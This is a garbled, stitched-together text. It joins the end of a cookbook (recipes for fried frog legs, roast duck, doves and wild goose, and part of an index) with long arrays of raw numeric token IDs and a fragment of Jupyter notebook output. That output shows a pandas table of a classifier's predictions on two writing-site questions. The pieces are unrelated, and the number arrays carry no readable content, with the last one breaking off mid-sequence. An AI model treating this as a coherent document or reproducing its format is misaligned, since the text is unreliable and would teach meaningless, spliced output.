powder, cayenne, oregano, salt, and black pepper. Sprinkle over the top and bottom of each leg. 4. Lightly flour the frog legs. Heat oil in a heavy skillet and fry until golden brown. FROG LEGS WITH SAUCE Makes 4–6 servings 8 frog legs salt to taste cayenne pepper to taste garlic salt to taste onion salt to taste paprika to taste flour to coat legs ¾ cup vegetable oil 6 Tbsp. flour 1 medium onion, sliced thin 2 cloves garlic, minced 16 oz. can tomatoes 1. Skin and clean frog legs. 2. Sprinkle liberally with salt, cayenne pepper, garlic and onion salts, and paprika. 3. Roll in flour. 4. Heat oil in a heavy skillet and fry the legs. 5. Remove the cooked frog legs to platter and keep warm. Reserve ½ cup oil in skillet. Add flour to oil and stir until golden brown. 6. Add sliced onions and minced garlic and cook until soft. 7. Crush tomatoes and add to skillet. 8. Add water to desired consistency and season highly. Return frog legs to sauce in skillet and cook 10 more minutes. ROAST DUCK Makes 4 servings 2 ducks ½ cup (1 stick) butter, melted salt to taste black pepper to taste paprika to taste 1 onion 1 apple 2 stalks celery 2 bay leaves 2 bacon strips hot water 1. Wash ducks and pat dry. 2. Brush with ½ cup melted butter. 3. Sprinkle salt, pepper, and paprika on outside of duck and inside its cavity. 4. Cut onion and apple in half. Place half an onion, half an apple, one stalk celery, and one bay leaf in the cavity of each duck. 5. Place strip of bacon over each duck breast. Place ducks in a baking dish. 6. Add hot water to cover the bottom of dish. 7. Bake covered at 350°F for 2–3 hours or until tender. Uncover during the last 15–20 minutes of cooking time to allow ducks to brown. Ducks are done when a cut between the leg and body shows that the juices no longer run pink. 8. Remove ducks from pan and split in half lengthwise. Discard stuffing before serving. OVEN-ROASTED DOVES Makes 6 servings ½ tsp. salt ¼ tsp. pepper 1 cup flour 12 doves vegetable oil 1 cup green onions, chopped 1 cup chicken broth 1 cup sherry 3 Tbsp. parsley, chopped 1. Blend together salt, pepper, and flour. Dredge doves in mixture. 2. In a heavy Dutch oven, brown birds in vegetable oil over medium heat. 3. When all are browned, drain all but 2 Tbsp. oil from pan. 4. Place doves back in Dutch oven. Add onions and chicken broth. 5. Bake at 350°F for about 1½ hours. After the first 30 minutes, add the sherry. Baste several times with pan juices. 6. Sprinkle with chopped parsley to serve. CRUMB-COATED ROAST DOVE Makes 3–4 servings 6 doves 3 tsp. salt ¼ cup olive oil ¾ cup fine dry bread crumbs ½ tsp. crumbled oregano ¼ tsp. black pepper 2 cloves garlic, minced 4 sprigs parsley, finely chopped, or 1 tsp. dried parsley ½ cup water 3 Tbsp. ketchup 3 Tbsp. water 1. Thoroughly clean doves and pat dry. 2. Sprinkle with salt and brush with olive oil. Reserve any remaining oil. 3. Combine bread crumbs, oregano, pepper, garlic, and parsley. Completely coat the outside of each dove with crumb mixture. (Reserve any remaining crumb mixture.) Arrange doves in a large greased baking pan. 4. Pour ½ cup water in bottom of baking pan. 5. Combine ketchup, 3 Tbsp. water, and any remaining olive oil and crumbs. Pour over birds. 6. Cover with foil and roast at 350°F for 2 hours or until doves are tender. Add a small amount of water to the pan if needed to keep birds from baking dry. ROAST WILD GOOSE Makes 2–4 servings 1 wild goose ⅓ cup vinegar 1½ cups dry white table wine juice of 2 lemons juice of 1 orange 1 small onion, sliced ⅛ tsp. nutmeg 1 bay leaf 2 stalks celery with leaves 3 sprigs parsley, or 1 tsp. dried parsley salt and pepper to taste 2 apples 1. Wash goose and pat dry. 2. In a large bowl, combine vinegar, wine, lemon juice, orange juice, onion, nutmeg, bay leaf, celery leaves, and parsley. Place goose in marinade and let stand for 3–4 hours, turning frequently. 3. Remove goose from marinade and rub cavity with salt and pepper. 4. Place apples and celery stalks inside goose. Truss goose and place breast-side up in a roasting pan. 5. Sear for 20 minutes at 450°F, then turn goose breast-side down, cover pan, lower heat to 350°F, and continue roasting for 1–1½ hours or until tender. Baste occasionally with marinade and pan drippings. Index A A'dobe, Almond Crescents, Almonds Almond Crescents, Norma Jean's Almond Cookies, Amalgamation Cake, Ambrosia, Anadama Bread, Angels on Horseback, Appetizers and Snacks Angels on Horseback, Armadillo Eggs, Artichoke Cheese Squares, Bacon Chestnuts, Boiled Peanuts

[ 187, 50272, 3, 1156, 16, 2974, 1381, 544, 187, 50271, 3, 29, 2154, 13544, 79, 995, 187, 50271, 3, 29, 4826, 660, 11802, 13544, 79, 995, 187, 50271, 3, 50274, 15, 2203, 6301, 246, 2915, 492, 289, 27, 7483, 14, 1171, 14, 881, 1926, 79, 995, 187, 50271, 3, 50270, 26806, 14, 8623, 27, 4766, 7405, 79, 995, 187, 50271, 3, 50274, 889, 79, 995, 187, 50271, 35343, 79, 995, 187, 50271, 3, 50274, 15, 2203, 6301, 246, 2915, 492, 289, 1926, 79, 995, 187, 50271, 3, 50270, 26806, 14, 8623, 27, 1755, 7405, 79, 995, 187, 50271, 3, 50274, 889, 79, 995, 187, 50271, 35343, 79, 995, 187, 50271, 3, 50274, 15, 2203, 6301, 253, 324, 289, 1926, 79, 995, 187, 50271, 3, 50270, 1156, 14, 8623, 27, 987, 7405, 79, 995, 187, 50271, 3, 50274, 889, 79, 995, 187, 50271, 43781, 4826, 13544, 79, 995, 187, 50271, 3, 29, 2420, 5680, 21655, 18, 10632, 966, 21655, 2203, 6301, 61, 1138, 61, 79, 995, 187, 50271, 3, 50276, 29, 45826, 13544, 79, 995, 187, 50271, 3, 50274, 29, 1206, 3740, 21655, 1156, 14, 8623, 27, 987, 7405, 1138, 61, 79, 995, 187, 50271, 3, 50272, 29, 394, 3073, 394, 13544, 79, 995, 187, 50271, 3, 50272, 29, 394, 31, 12787, 7025, 64, 856, 5830, 870, 394, 13544, 79, 995, 187, 50271, 3, 50272, 29, 394, 31, 5672, 64, 1968, 870, 394, 13544, 79, 995, 187, 50271, 3, 50272, 29, 394, 31, 13408, 870, 394, 13544, 79, 995, 187, 50271, 3, 50272, 29, 394, 31, 2915, 64, 1156, 870, 394, 13544, 79, 995, 187, 50271, 3, 50272, 29, 394, 31, 1156, 64, 5025, 870, 394, 13544, 79, 995, 187, 50271, 3, 50272, 29, 394, 31, 1913, 64, 25340, 64, 11546, 870, 394, 13544, 79, 995, 187, 50271, 3, 50272, 29, 394, 31, 19751, 64, 4698, 64, 11546, 870, 394, 13544, 79, 995, 187, 50271, 3, 50272, 29, 394, 31, 12982, 64, 19751, 870, 394, 13544, 79, 995, 187, 50271, 3, 50274, 870, 1206, 13544, 79, 995, 187, 50271, 3, 50274, 29, 1206, 13544, 79, 995, 187, 50271, 3, 50272, 29, 394, 31, 2618, 870, 394, 13544, 79, 995, 187, 50271, 3, 50272, 29, 394, 3073, 394, 13544, 79, 995, 187, 50271, 3, 50272, 29, 394, 3073, 394, 13544, 79, 995, 187, 50271, 3, 50272, 29, 394, 3073, 394, 13544, 79, 995, 187, 50271, 3, 50272, 29, 394, 3073, 394, 13544, 79, 995, 187, 50271, 3, 50272, 29, 394, 3073, 394, 13544, 79, 995, 187, 50271, 3, 50272, 29, 394, 3073, 394, 13544, 79, 995, 187, 50271, 3, 50272, 29, 394, 3073, 394, 13544, 79, 995, 187, 50271, 3, 50272, 29, 394, 3073, 394, 13544, 79, 995, 187, 50271, 3, 50274, 870, 1206, 13544, 79, 995, 187, 50271, 3, 50276, 870, 45826, 13544, 79, 995, 187, 50271, 3, 50276, 29, 30892, 13544, 79, 995, 187, 50271, 3, 50274, 29, 1206, 13544, 79, 995, 187, 50271, 3, 50272, 29, 394, 31, 19042, 1047, 870, 394, 13544, 79, 995, 187, 50271, 3, 50272, 29, 2851, 31, 17, 15, 3547, 870, 2851, 13544, 79, 995, 187, 50271, 3, 50272, 29, 2851, 31, 5088, 870, 2851, 13544, 79, 995, 187, 50271, 3, 50272, 29, 2851, 31, 4947, 280, 16879, 15820, 22658, 390, 22258, 32, 870, 2851, 13544, 79, 995, 187, 50271, 3, 50272, 29, 2851, 31, 688, 619, 16879, 1533, 627, 403, 643, 643, 2197, 850, 15820, 16280, 7497, 15, 3808, 273, 731, 403, 12114, 19164, 31875, 390, 387, 1878, 417, 347, 1846, 275, 17068, 6281, 15, 1623, 253, 643, 1133, 13, 309, 452, 671, 2908, 625, 5899, 15820, 751, 1045, 1634, 15, 309, 1353, 1469, 281, 50276, 25674, 970, 1045, 1634, 323, 619, 1650, 15, 22469, 13, 309, 452, 3597, 281, 1691, 247, 3367, 5508, 327, 253, 1045, 1634, 285, 417, 816, 3491, 14, 23164, 731, 432, 308, 16537, 1914, 390, 9825, 2010, 15, 3353, 79, 6080, 2811, 2112, 253, 1039, 13, 309, 8156, 326, 309, 812, 1818, 731, 281, 320, 667, 643, 5492, 309, 751, 1223, 24843, 1051, 870, 2851, 13544, 79, 995, 187, 50271, 3, 50272, 29, 2851, 31, 1166, 2227, 870, 2851, 13544, 79, 995, 187, 50271, 3, 50272, 29, 2851, 31, 5088, 870, 2851, 13544, 79, 995, 187, 50271, 3, 50272, 29, 2851, 31, 5088, 870, 2851, 13544, 79, 995, 187, 50271, 3, 50272, 29, 2851, 31, 5653, 870, 2851, 13544, 79, 995, 187, 50271, 3, 50274, 870, 1206, 13544, 79, 995, 187, 50271, 3, 50274, 29, 1206, 13544, 79, 995, 187, 50271, 3, 50272, 29, 394, 31, 22130, 1671, 870, 394, 13544, 79, 995, 187, 50271, 3, 50272, 29, 2851, 31, 17, 15, 1967, 870, 2851, 13544, 79, 995, 187, 50271, 3, 50272, 29, 2851, 31, 5088, 870, 2851, 13544, 79, 995, 187, 50271, 3, 50272, 29, 2851, 31, 14463, 953, 273, 15350, 45762, 428, 14703, 656, 272, 35555, 26940, 870, 2851, 13544, 79, 995, 187, 50271, 3, 50272, 29, 2851, 31, 42, 27753, 326, 436, 1953, 476, 2965, 275, 253, 7990, 273, 3367, 4743, 533, 309, 717, 2819, 323, 1633, 11859, 15, 3353, 79, 17534, 2223, 13, 417, 760, 327, 436, 2670, 533, 643, 4028, 2905, 4375, 13, 309, 1089, 952, 11485, 1333, 326, 2176, 4633, 4477, 403, 13, 275, 6612, 13, 3076, 11597, 15, 2053, 2486, 253, 13052, 273, 500, 15, 44, 15, 15784, 1981, 13, 5682, 7233, 13, 19717, 3643, 47193, 13, 3966, 15, 1720, 3743, 2491, 432, 5884, 7484, 11385, 281, 1146, 1512, 48656, 15, 1723, 13, 326, 943, 417, 4555, 320, 2032, 390, 943, 2581, 320, 5884, 34584, 1841, 347, 258, 1051, 870, 2851, 13544, 79, 995, 187, 50271, 3, 50272, 29, 2851, 31, 740, 4148, 870, 2851, 13544, 79, 995, 187, 50271, 3, 50272, 29, 2851, 31, 5088, 870, 2851, 13544, 79, 995, 187, 50271, 3, 50272, 29, 2851, 31, 5088, 870, 2851, 13544, 79, 995, 187, 50271, 3, 50272, 29, 2851, 31, 5653, 870, 2851, 13544, 79, 995, 187, 50271, 3, 50274, 870, 1206, 13544, 79, 995, 187, 50271, 3, 50276, 870, 30892, 13544, 79, 995, 187, 50271, 43781, 2420, 13544, 79, 995, 187, 50271, 43781, 2154, 21760, 187, 50272, 1092, 187, 50272, 3, 1156, 16, 19104, 1381, 544, 187, 50271, 3, 50271, 12787, 7025, 64, 856, 5830, 50276, 5672, 64, 1968, 50276, 45677, 79, 995, 187, 50271, 3, 2618, 50254, 50270, 50276, 393, 79, 995, 187, 50271, 3, 19042, 1047, 50265, 17, 15, 3547, 50270, 5088, 50275, 61, 79, 995, 187, 50271, 3, 22130, 1671, 50265, 17, 15, 1967, 50270, 5088, 50275, 61, 79, 995, 187, 50271, 35343, 79, 995, 187, 50271, 3, 50254, 50254, 50275, 13408, 50276, 45677, 79, 995, 187, 50271, 3, 2618, 50254, 50254, 50270, 393, 79, 995, 187, 50271, 3, 19042, 1047, 50264, 4947, 280, 16879, 15820, 22658, 390, 22258, 32, 50275, 61, 79, 995, 187, 50271, 3, 22130, 1671, 50276, 14463, 953, 273, 15350, 45762, 428, 14703, 656, 272, 35555, 26940, 50275, 61, 79, 995, 187, 50271, 35343, 79, 995, 187, 50271, 3, 50254, 50254, 50254, 50254, 50254, 50254, 50254, 50254, 50254, 50254, 50254, 50254, 50254, 50254, 50254, 50254, 50254, 50254, 50254, 50254, 50262, 2133, 64, 1156, 50276, 45677, 79, 995, 187, 50271, 3, 2618, 50254, 50254, 50254, 50254, 50254, 50254, 50254, 50254, 50254, 50254, 50254, 50254, 50254, 50254, 50254, 50254, 50254, 50254, 50254, 50254, 50254, 50275, 61, 79, 995, 187, 50271, 3, 19042, 1047, 50276, 688, 619, 16879, 1533, 627, 403, 643, 643, 2197, 850, 15820, 16280, 7497, 15, 3808, 273, 731, 403, 12114, 19164, 31875, 390, 387, 1878, 417, 347, 1846, 275, 17068, 6281, 15, 1623, 253, 643, 1133, 13, 309, 452, 671, 2908, 625, 5899, 15820, 751, 1045, 1634, 15, 309, 1353, 1469, 281, 50276, 25674, 970, 1045, 1634, 323, 619, 1650, 15, 22469, 13, 309, 452, 3597, 281, 1691, 247, 3367, 5508, 327, 253, 1045, 1634, 285, 417, 816, 3491, 14, 23164, 731, 432, 308, 16537, 1914, 390, 9825, 2010, 15, 3353, 79, 6080, 2811, 2112, 253, 1039, 13, 309, 8156, 326, 309, 812, 1818, 731, 281, 320, 667, 643, 5492, 309, 751, 1223, 24843, 1051, 50275, 61, 79, 995, 187, 50271, 3, 22130, 1671, 50276, 42, 27753, 326, 436, 1953, 476, 2965, 275, 253, 7990, 273, 3367, 4743, 533, 309, 717, 2819, 323, 1633, 11859, 15, 3353, 79, 17534, 2223, 13, 417, 760, 327, 436, 2670, 533, 643, 4028, 2905, 4375, 13, 309, 1089, 952, 11485, 1333, 326, 2176, 4633, 4477, 403, 13, 275, 6612, 13, 3076, 11597, 15, 2053, 2486, 253, 13052, 273, 500, 15, 44, 15, 15784, 1981, 13, 5682, 7233, 13, 19717, 3643, 47193, 13, 3966, 15, 1720, 3743, 2491, 432, 5884, 7484, 11385, 281, 1146, 1512, 48656, 15, 1723, 13, 326, 943, 417, 4555, 320, 2032, 390, 943, 2581, 320, 5884, 34584, 1841, 347, 258, 1051, 50275, 61, 79, 995, 187, 50271, 35343, 79, 995, 187, 50271, 3, 50271, 1156, 64, 5025, 50276, 1913, 64, 25340, 64, 11546, 50276, 19751, 64, 4698, 64, 11546, 50276, 12982, 64, 19751, 50276, 61, 79, 995, 187, 50271, 3, 2618, 50254, 50254, 50254, 61, 79, 995, 187, 50271, 3, 19042, 1047, 50272, 1166, 2227, 50264, 5088, 50262, 5088, 50264, 5653, 50276, 61, 79, 995, 187, 50271, 3, 22130, 1671, 50272, 740, 4148, 50264, 5088, 50262, 5088, 50264, 5653, 50276, 3, 187, 50272, 62, 187, 50273, 2023, 187, 50273, 3, 35792, 64, 5560, 1381, 721, 13, 187, 50273, 3, 21552, 1381, 30744, 187, 50273, 3, 9252, 64, 881, 1381, 346, 21599, 64, 6870, 3, 187, 50274, 94, 187, 50275, 1092, 187, 50275, 3, 6756, 1381, 544, 187, 50274, 3, 3956, 64, 993, 60, 936, 64, 8412, 9336, 187, 50275, 62, 187, 50276, 2023, 187, 50276, 92, 187, 50275, 3, 3992, 64, 881, 1381, 346, 49832, 995, 187, 50275, 3, 21552, 1381, 30744, 187, 50275, 3, 6756, 1381, 544, 187, 50274, 3, 10342, 13224, 3451, 4016, 13650, 3, 187, 50275, 62, 187, 50276, 2023, 187, 50276, 92, 187, 50275, 3, 3992, 64, 881, 1381, 346, 3211, 995, 187, 50275, 3, 35792, 64, 5560, 1381, 818, 13, 187, 50275, 3, 21552, 1381, 30744, 187, 50275, 3, 44902, 1381, 544, 187, 50274, 92, 187, 50273, 3, 2203, 1381, 551, 187, 50272, 3, 1156, 16, 2974, 1381, 544, 187, 50271, 3, 29, 2154, 13544, 79, 995, 187, 50271, 3, 29, 4826, 660, 11802, 13544, 79, 995, 187, 50271, 3, 50274, 15, 2203, 6301, 246, 2915, 492, 289, 27, 7483, 14, 1171, 14, 881, 1926, 79, 995, 187, 50271, 3, 50270, 26806, 14, 8623, 27, 4766, 7405, 79, 995, 187, 50271, 3, 50274, 889, 79, 995, 187, 50271, 35343, 79, 995, 187, 50271, 3, 50274, 15, 2203, 6301, 246, 2915, 492, 289, 1926, 79, 995, 187, 50271, 3, 50270, 26806, 14, 8623, 27, 1755, 7405, 79, 995, 187, 50271, 3, 50274, 889, 79, 995, 187, 50271, 35343, 79, 995, 187, 50271, 3, 50274, 15, 2203, 6301, 253, 324, 289, 1926, 79, 995, 187, 50271, 3, 50270, 1156, 14, 8623, 27, 987, 7405, 79, 995, 187, 50271, 3, 50274, 889, 79, 995, 187, 50271, 43781, 4826, 13544, 79, 995, 187, 50271, 3, 29, 2420, 5680, 21655, 18, 10632, 966, 21655, 2203, 6301, 61, 1138, 61, 79, 995, 187, 50271, 3, 50276, 29, 45826, 13544, 79, 995, 187, 50271, 3, 50274, 29, 1206, 3740, 21655, 1156, 14, 8623, 27, 987, 7405, 1138, 61, 79, 995, 187, 50271, 3, 50272, 29, 394, 3073, 394, 13544, 79, 995, 187, 50271, 3, 50272, 29, 394, 31, 12787, 7025, 64, 856, 5830, 870, 394, 13544, 79, 995, 187, 50271, 3, 50272, 29, 394, 31, 5672, 64, 1968, 870, 394, 13544, 79, 995, 187, 50271, 3, 50272, 29, 394, 31, 13408, 870, 394, 13544, 79, 995, 187, 50271, 3, 50272, 29, 394, 31, 2915, 64, 1156, 870, 394, 13544, 79, 995, 187, 50271, 3, 50272, 29, 394, 31, 1156, 64, 5025, 870, 394, 13544, 79, 995, 187, 50271, 3, 50272, 29, 394, 31, 1913, 64, 25340, 64, 11546, 870, 394, 13544, 79, 995, 187, 50271, 3, 50272, 29, 394, 31, 19751, 64, 4698, 64, 11546, 870, 394, 13544, 79, 995, 187, 50271, 3, 50272, 29, 394, 31, 12982, 64, 19751, 870, 394, 13544, 79, 995, 187, 50271, 3, 50274, 870, 1206, 13544, 79, 995, 187, 50271, 3, 50274, 29, 1206, 13544, 79, 995, 187, 50271, 3, 50272, 29, 394, 31, 2618, 870, 394, 13544, 79, 995, 187, 50271, 3, 50272, 29, 394, 3073, 394, 13544, 79, 995, 187, 50271, 3, 50272, 29, 394, 3073, 394, 13544, 79, 995, 187, 50271, 3, 50272, 29 ]

"text/html": [ "<div>\n", "<style scoped>\n", " .dataframe tbody tr th:only-of-type {\n", " vertical-align: middle;\n", " }\n", "\n", " .dataframe tbody tr th {\n", " vertical-align: top;\n", " }\n", "\n", " .dataframe thead th {\n", " text-align: right;\n", " }\n", "</style>\n", "<table border=\"1\" class=\"dataframe\">\n", " <thead>\n", " <tr style=\"text-align: right;\">\n", " <th></th>\n", " <th>predicted_proba</th>\n", " <th>true_label</th>\n", " <th>Title</th>\n", " <th>body_text</th>\n", " <th>text_len</th>\n", " <th>action_verb_full</th>\n", " <th>question_mark_full</th>\n", " <th>language_question</th>\n", " </tr>\n", " <tr>\n", " <th>Id</th>\n", " <th></th>\n", " <th></th>\n", " <th></th>\n", " <th></th>\n", " <th></th>\n", " <th></th>\n", " <th></th>\n", " <th></th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " <tr>\n", " <th>30514</th>\n", " <td>0.72</td>\n", " <td>True</td>\n", " <td>Classic fantasy races lazy or boring?</td>\n", " <td>In my fantasy world there are other other sentient races besides humans. Some of them are \"original\", or at least not as common in mainstream stories. On the other hand, I have also included more traditional races like elves. I'm going to continue using elves for my example. Obviously, I have tried to put a personal spin on the elves and not just copy-paste them from Tolkien or anywhere else.\\nSomewhere along the way, I realized that I could change them to be any other race I like while mai...</td>\n", " <td>1785</td>\n", " <td>True</td>\n", " <td>True</td>\n", " <td>False</td>\n", " </tr>\n", " <tr>\n", " <th>32835</th>\n", " <td>0.70</td>\n", " <td>True</td>\n", " <td>Traits of Bad Writers - Analysing Popular Authors</td>\n", " <td>I realise that this question can fall in the scope of personal opinion but I am looking for something concrete.\\nVery often, not only on this site but other writing related sites, I find people constantly say that certain popular authors are, in reality, bad writers. These include the likes of J.K. Rowling, Dan Brown, Christopher Paolini, etc. Reasons range from minor plot holes to being too verbose. However, that should not exactly be true or should rather be minor insignificant things as o...</td>\n", " <td>1097</td>\n", " <td>True</td>\n", " <td>True</td>\n", " <td>False</td>\n", " </tr>\n", " </tbody>\n", "</table>\n", "</div>" ], "text/plain": [ " predicted_proba true_label \\\n", "Id \n", "30514 0.72 True \n", "32835 0.70 True \n", "\n", " Title \\\n", "Id \n", "30514 Classic fantasy races lazy or boring? \n", "32835 Traits of Bad Writers - Analysing Popular Authors \n", "\n", " body_text \\\n", "Id \n", "30514 In my fantasy world there are other other sentient races besides humans. Some of them are \"original\", or at least not as common in mainstream stories. On the other hand, I have also included more traditional races like elves. I'm going to continue using elves for my example. Obviously, I have tried to put a personal spin on the elves and not just copy-paste them from Tolkien or anywhere else.\\nSomewhere along the way, I realized that I could change them to be any other race I like while mai... \n", "32835 I realise that this question can fall in the scope of personal opinion but I am looking for something concrete.\\nVery often, not only on this site but other writing related sites, I find people constantly say that certain popular authors are, in reality, bad writers. These include the likes of J.K. Rowling, Dan Brown, Christopher Paolini, etc. Reasons range from minor plot holes to being too verbose. However, that should not exactly be true or should rather be minor insignificant things as o... \n", "\n", " text_len action_verb_full question_mark_full language_question \n", "Id \n", "30514 1785 True True False \n", "32835 1097 True True False " ] }, "execution_count": 6, "metadata": {}, "output_type": "execute_result" } ], "source": [ "top_pos[to_display]" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "Most confident correct negative predictions" ] }, { "cell_type": "code", "execution_count": 7, "metadata": {}, "outputs": [ { "data": { "text/html": [ "<div>\n", "<style scoped>\n", " .dataframe tbody tr th:only-of-type {\n", " vertical-align: middle;\n", " }\n", "\n", " .dataframe tbody tr th {\n", " vertical-align: top;\n", " }\n", "\n", " .dataframe thead th {\n", " text-align: right;\n", " }\n", "</style>\n", "<table border=\"1\" class=\"dataframe\">\n", " <thead>\n", " <tr style=\"text-align: right;\">\n", " <th></th>\n", " <th>predicted_proba</th>\n", " <th>true_label</th>\n", " <th>Title</th>\n", " <th>body_text</th>\n", " <th>text_len</th>\n", " <th>action_verb_full</th>\n", " <th>question_mark_full</th>\n", " <th>language_question</th>\n", " </tr>\n", " <tr>\n", " <th>Id</th>\n", " <th></th>\n", " <th></th>\n", " <

[ 49, 2079, 558, 187, 50262, 94, 187, 50266, 94, 187, 50270, 94, 535, 50270, 18641, 12970, 2991, 1623, 42102, 14968, 9, 14968, 41041, 40029, 299, 10, 187, 50270, 92, 187, 50266, 4793, 15, 2374, 42102, 14968, 9, 70, 558, 187, 50266, 23772, 426, 299, 15, 2402, 23974, 15, 9867, 29, 1830, 68, 1811, 494, 31, 1587, 26765, 64, 23772, 3145, 254, 3287, 187, 50270, 94, 187, 50274, 94, 187, 94, 187, 2948, 795, 432, 686, 39079, 1225, 5618, 187, 2948, 941, 33473, 432, 50111, 2203, 33473, 5618, 187, 187, 49027, 2073, 2203, 33473, 1383, 6734, 3001, 551, 187, 50276, 1059, 20921, 426, 25425, 535, 50276, 9131, 11837, 36810, 3001, 551, 187, 50274, 11154, 15, 8608, 522, 842, 84, 426, 544, 187, 50272, 14598, 740, 13, 1458, 4226, 933, 1092, 544, 19, 13, 1458, 40094, 933, 1092, 544, 24, 13, 1458, 23113, 6914, 1092, 544, 18, 13, 1458, 1418, 14602, 933, 31011, 187, 50272, 14598, 26, 13, 1458, 4226, 933, 1092, 50276, 60, 20, 13, 1458, 40094, 933, 1092, 544, 21, 13, 1458, 23113, 6914, 1092, 544, 25, 13, 1458, 1418, 14602, 933, 31011, 187, 50274, 2194, 187, 50276, 9897, 535, 50276, 49027, 2073, 3039, 4647, 1387, 3463, 1082, 3470, 1383, 6734, 3001, 551, 187, 50274, 262, 2073, 11425, 1091, 2962, 3388, 1383, 6734, 3001, 551, 187, 50272, 1059, 19737, 3463, 426, 941, 33473, 15, 10994, 40541, 5013, 4399, 3463, 22734, 187, 50272, 3474, 1323, 72, 19, 84, 426, 42315, 4251, 9, 11154, 15, 8608, 522, 842, 84, 13, 313, 12132, 10, 3001, 19737, 3463, 2073, 19, 84, 1383, 686, 42921, 1383, 33234, 4027, 187, 50272, 23824, 9, 42921, 19, 84, 481, 936, 12827, 8850, 187, 50270, 14598, 23, 13, 1458, 4226, 933, 1092, 544, 21, 13, 1458, 23113, 6914, 31011, 187, 50270, 14598, 23, 13, 1458, 4226, 933, 1092, 544, 23, 13, 1458, 23113, 6914, 31011, 187, 50272, 9259, 535, 50272, 3474, 1323, 72, 740, 84, 426, 42315, 4251, 9, 11154, 15, 8608, 522, 842, 84, 13, 313, 12132, 10, 3001, 19737, 3463, 2073, 740, 84, 1383, 686, 42921, 1383, 33234, 4027, 187, 50272, 23824, 9, 42921, 740, 84, 481, 936, 12827, 8850, 187, 50270, 14598, 22, 13, 1458, 4226, 933, 31011, 187, 50270, 14598, 23, 13, 1458, 4226, 933, 31011, 187, 50272, 9259, 535, 50272, 605, 417, 15616, 187, 50272, 3474, 33234, 426, 8605, 740, 13, 1458, 40094, 933, 1092, 544, 19, 13, 1458, 23113, 6914, 1092, 544, 24, 13, 1458, 1418, 14602, 933, 1092, 544, 18, 13, 1458, 1418, 15017, 933, 44270, 187, 50272, 23824, 9, 46601, 366, 3463, 2073, 19, 84, 1383, 686, 42921, 1383, 33234, 5029, 936, 12827, 8850, 187, 50270, 60, 740, 13, 1458, 4226, 933, 1092, 544, 21, 15, 22, 13, 1458, 23113, 6914, 1092, 544, 18, 13, 1458, 1418, 15017, 933, 62, 187, 50272, 9259, 187, 50274, 9897, 187, 50276, 9897, 535, 50276, 49027, 2073, 3039, 4647, 19737, 3463, 1082, 3470, 1383, 6734, 3001, 551, 187, 50274, 262, 2073, 11425, 1091, 2962, 3388, 1383, 6734, 3001, 551, 187, 50272, 1059, 19737, 3463, 426, 941, 33473, 15, 10994, 40541, 5013, 46601, 366, 3463, 22734, 187, 50272, 3474, 1323, 72, 18, 84, 426, 19737, 3463, 2073, 18, 84, 1383, 686, 42921, 1383, 20921, 15, 8608, 522, 842, 84, 558, 187, 50272, 23824, 9, 42921, 18, 84, 481, 936, 12827, 8850, 187, 50270, 60, 26, 15, 22, 13, 1458, 4226, 933, 1092, 544, 19, 15, 22, 13, 1458, 40094, 933, 1092, 544, 22, 15, 22, 13, 1458, 23113, 6914, 1092, 544, 21, 15, 22, 13, 1458, 1418, 14602, 933, 62, 187, 50272, 9259, 535, 50272, 3474, 1323, 72, 740, 84, 426, 19737, 3463, 2073, 740, 84, 1383, 686, 42921, 1383, 20921, 15, 8608, 522, 842, 84, 558, 187, 50272, 23824, 9, 42921, 740, 84, 481, 936, 12827, 8850, 187, 50270, 60, 22, 15, 22, 13, 1458, 4226, 933, 62, 187, 50272, 9259, 187, 50274, 9897, 187, 50276, 9897, 187, 9897, 187, 5804, 1209, 2854, 892, 17379, 562, 29661, 4351, 24482, 6581, 187, 187, 1552, 1873, 5406, 2668, 762, 247, 17199, 2722, 253, 7452, 337, 6581, 3600, 463, 12777, 327, 247, 36329, 15, 187, 187, 4061, 31093, 44237, 275, 253, 1986, 2077, 2296, 597, 452, 908, 247, 2923, 2854, 281, 26363, 562, 253, 24482, 6581, 29661, 4351, 50188, 275, 2332, 1363, 8, 3168, 2614, 1341, 428, 247, 43095, 3213, 4404, 247, 16498, 15, 187, 187, 510, 3745, 273, 253, 7452, 9128, 13, 390, 19448, 2127, 13, 281, 10507, 562, 275, 1341, 285, 320, 43941, 846, 8007, 24543, 247, 2201, 26982, 275, 253, 1437, 323, 247, 16498, 15, 26143, 2104, 281, 22065, 253, 6581, 275, 697, 17197, 1659, 651, 1581, 10950, 281, 2303, 253, 3167, 3168, 2614, 1341, 275, 247, 9811, 787, 5432, 449, 1147, 310, 253, 5068, 273, 789, 2584, 247, 16498, 323, 24482, 937, 5119, 13579, 13000, 13, 820, 14, 7582, 273, 253, 1263, 3863, 275, 253, 6698, 13375, 13, 2183, 27816, 347, 253, 5625, 24482, 12651, 369, 762, 1039, 275, 5041, 15, 34331, 310, 247, 13767, 41038, 13, 30471, 697, 3882, 715, 253, 9128, 273, 3167, 3168, 2614, 1341, 13, 3437, 21, 12, 53, 1341, 275, 436, 1083, 13, 285, 8577, 731, 715, 6581, 29492, 15, 13168, 352, 4566, 715, 17197, 275, 690, 1341, 1014, 347, 2571, 1978, 327, 9603, 15, 3808, 5910, 3041, 952, 1475, 253, 1533, 403, 3811, 342, 7452, 13, 534, 46340, 253, 7026, 985, 285, 556, 4269, 670, 1884, 3041, 24482, 14, 4919, 8923, 1580, 253, 2728, 806, 13082, 275, 253, 2393, 9178, 84, 15, 688, 253, 6323, 1263, 13, 8607, 275, 253, 1986, 2077, 908, 253, 13215, 2854, 18285, 249, 30469, 281, 47122, 285, 594, 440, 12477, 21624, 7452, 275, 253, 3437, 21, 12, 53, 1341, 273, 4314, 2332, 1363, 15, 510, 1363, 497, 671, 327, 1331, 38959, 48377, 5835, 13, 534, 14545, 7452, 432, 39763, 533, 452, 281, 320, 2668, 323, 1495, 984, 597, 513, 417, 5159, 253, 6581, 8763, 1977, 275, 45009, 449, 4553, 247, 2014, 6178, 273, 253, 2854, 13, 387, 1878, 323, 247, 2774, 275, 673, 13, 313, 19449, 249, 30469, 10, 310, 892, 7849, 253, 6581, 562, 273, 17197, 937, 13579, 13000, 753, 273, 253, 2332, 1543, 428, 253, 806, 2854, 2455, 2011, 281, 513, 594, 449, 1552, 310, 4737, 273, 253, 4473, 13, 273, 253, 2934, 326, 253, 6581, 476, 320, 5742, 10522, 275, 247, 3110, 407, 247, 2854, 13, 285, 9093, 13279, 598, 253, 1039, 323, 436, 966, 273, 5835, 281, 320, 5421, 323, 897, 275, 436, 1039, 449, 510, 2854, 8571, 271, 9548, 326, 4483, 253, 6581, 281, 7027, 21624, 15, 510, 8607, 17458, 264, 